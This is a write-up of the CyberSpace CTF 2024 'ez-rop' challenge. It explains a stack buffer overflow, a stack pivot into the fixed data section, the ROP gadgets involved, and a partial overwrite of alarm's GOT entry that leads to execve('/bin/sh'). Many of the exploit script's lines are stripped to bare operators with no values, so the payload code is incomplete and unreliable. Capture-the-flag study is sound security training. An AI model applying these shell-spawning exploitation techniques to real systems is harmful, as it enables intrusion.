CyberSpace CTF 2024 - ez-rop
Table of Contents
0x00. Introduction
)
0x01. Vulnerability
char *
A simple BOF occurs, but since 0x60 bytes are used to fill s, there’s almost no stack that can be constructed after return.
0x02. Exploit
Fake Stack
Since we can’t do anything even with immediate rip control using the vulnerability, I looked for an area where payloads could be constructed.
[ | |
Since PIE is disabled, the DATA region address 0x404000 is fixed. As sub_401192() executes leave; ret when terminating, putting roughly 0x404800 (around the middle) in sfp allows manipulating rsp to that value.
Now we need to pass rsp as an argument to the read function, but there were no usable gadgets. Instead, I could pass the value by utilizing the fact that rdi’s value is set through rax and rbp during the fgets input process.
.text:0000000000401192 push rbp
.text:0000000000401193 mov rbp, rsp
.text:0000000000401196 sub rsp, 60h
.text:000000000040119A mov rdx, cs:stdin ; stream
.text:00000000004011A1 lea rax, [rbp-60h]
.text:00000000004011A5 mov esi, 74h ; 't' ; n
.text:00000000004011AA mov rdi, rax ; s
.text:00000000004011AD call _fgets
.text:00000000004011B2 xor rdx, rdx
.text:00000000004011B5 nop
.text:00000000004011B6 leave
.text:00000000004011B7 retn
So I wrote the payload as follows.
# fgets(0x4047a0, 0x74, stdin)
= b * 0x60
+= # rbp = 0x404800
+= # middle of fgets
+= b # dummy
Return Oriented Programming
Now we need to spawn shell using the payload. While there weren’t many pop gadgets, IDA revealed most of gadgets removed and the challenge intended solution using these four gadgets.
# mov rdi, rsi gadget
.text:0000000000401156 push rbp
.text:0000000000401157 mov rbp, rsp
.text:000000000040115A mov rdi, rsi
.text:000000000040115D retn
# pop rbp gadget
.text:000000000040115F pop rbp
.text:0000000000401160 retn
# pop rsi gadget
.text:0000000000401161 push rbp
.text:0000000000401162 mov rbp, rsp
.text:0000000000401165 pop rsi
.text:0000000000401166 retn
# read(0, buf, 8) gadget
.text:000000000040116A push rbp
.text:000000000040116B mov rbp, rsp
.text:000000000040116E sub rsp, 10h
.text:0000000000401172 lea rax, [rbp-8h]
.text:0000000000401176 mov edx, 8 ; nbytes
.text:000000000040117B mov rsi, rax ; buf
.text:000000000040117E mov edi, 0 ; fd
.text:0000000000401183 call _read
.text:0000000000401188 xor rdx, rdx
.text:000000000040118B xor rax, rax
.text:000000000040118E retn
Unusually, there was a read gadget. Similar to fgets, the value of rbp minus 8 is passed to rsi through rax. Since rbp can be manipulated using the pop rbp gadget, we just need to set the rbp value by adding 8 to the input address, considering the lea rax, [rbp-8h] instruction.
To avoid changing the manipulated rsp value, I configured the payload to jump directly to the middle address 0x401172 of the read gadget.
# read(0, alarm.got, 8) ; alarm.got = 0x404008
# rdi = 0, rsi = alarm.got, rdx = 8
= # alarm.got + 8
+= # middle of read
I decided to write a value to alarm’s GOT because there are no printing functions to leak libc, so I needed to find the function closest to execve for partial overwrite. “Closest” means the smallest offset difference, and overwriting the GOT of a close function maximizes exploitation probability under ASLR.
After this, we just need to write "/bin/sh\x00" to any memory and use gadgets to pass it as execve function arguments.
# read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
= 0x401168
+=
+= # 0x404900 + 8
+=
# execve("/bin/sh", 0, 0)
# rdi = 0x404900, rsi = 0, rdx = 0
= 0x40115a
= 0x401165
+=
+=
+=
+=
+= b *
+=
+=
+= b
Come to think of it, I could just input sh; to the last 3 bytes at the point of fgets and pass the address.
0x03. Payload
=
=
=
=
= f
=
=
=
=
=
=
# fgets(0x4047a0, 0x74, stdin)
= b * 0x60
+= # rbp = 0x404800
+= # middle of fgets
+= b # dummy
# read(0, alarm.got, 8) ; alarm.got = 0x404008
# rdi = 0, rsi = alarm.got, rdx = 8
= # alarm.got + 8
+= # middle of read
# read(0, 0x404900, 8) ; &0x404900 = "/bin/sh\x00"
= 0x401168
+=
+= # 0x404900 + 8
+=
# execve("/bin/sh", 0, 0)
# rdi = 0x404900, rsi = 0, rdx = 0
= 0x40115a
= 0x401165
+=
+=
+=
+=
+= b *
+=
+=
+= b
# read(0, alarm.got, 8)
= b
# payload = b"\x80\x50"
# read(0, 0x404900, 8)
= b
=
=